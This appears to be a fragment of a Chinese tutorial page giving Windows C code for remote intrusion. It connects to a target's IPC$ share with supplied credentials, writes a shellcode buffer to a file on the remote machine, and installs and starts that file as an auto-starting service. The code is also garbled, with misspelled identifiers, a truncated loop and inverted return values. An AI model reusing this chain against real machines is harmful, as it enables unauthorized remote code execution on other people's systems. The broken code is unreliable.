BOOL ConnetIPC(char * RemoteName,char * User,char * PassWord) { char tmp[128]="\\\\"; strcat(tmp,RemoteName); strcat(tmp,"\\ipc$"); NETRESOUCE NetResouce; NetResouce.lpRemoteName=tmp; NetResouce.dwType=RESOURCETYPE_ANY; NetResouce.lpProvider=NULL; if (WnetAddConnection2(&NetResouce,PassWord,User,FLASE)==NO_ERROR) //建立连接! return FALSE; else return TRUE; } |
BOOL SendFile(char *RemotePathAndFile) { HANDLE hRF; unsigned char ShellCode[]="write code here,such as \x90\x90"; int WrittenSize=0; int Lenth=sizeof(ShellCode); hRF=CreateFile(RemotePathAndFile, GENERIC_ALL,FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NUL L);//建立文件 if (hRF==INVALID_HANDLE_values) return FALSE; //写文件过程: for(int i=0;i if(!WriteFile(hRF,&ShellCode,1,&WrittenSize,NULL) return FALSE; Printf("Send file succeed!\n"); } |
BOOL InstallService(char * Target,char * ServiceName,char * Filename,) { SC_HANDLE hSCM=NULL,hSCS=NULL; SERVICE_STATUS ServiceStatus; hSCM=OpenSCManager(Target,NULL,SC_MANAGER_ALL_ACCESS); hSCS=CreateService(hSCM, //句柄 ServiceName,//服务开始名 ServiceName,//显示服务名 SERVICE_ALL_ACCESS,//服务访问类型 SERVICE_WIN32_OWN_PROCESS,//服务类型 SERVICE_AUTO_START,//自动启动服务 SERVICE_ERROR_IGNORE,//忽略错误 FileName,//启动的文件名 NULL,//name of load ordering group (载入组名) NULL,//标签标识符 NULL,//相关性数组名 NULL,//帐户(当前) NULL);//密码(当前) if(StartServic(hSCS, argc,//参数数 argv);//参数 { Sleep(30);//延时,开始启动服务 while(QueryServiceStatus(hSCS,&ServiceStatus) { if(ServiceStatus.dwCurrentState==SERVICE_START_PENDDING) Sleep(30); else break; } if(ServiceStatus.dwCurrentState==SERVICE_RUNNING) return TRUE; else FALSE; } } |
Word教程网 | Excel教程网 | Dreamweaver教程网 | Fireworks教程网 | PPT教程网 | FLASH教程网 | PS教程网 |
HTML教程网 | DIV CSS教程网 | FLASH AS教程网 | ACCESS教程网 | SQL SERVER教程网 | C语言教程网 | JAVASCRIPT教程网 |
ASP教程网 | ASP.NET教程网 | CorelDraw教程网 |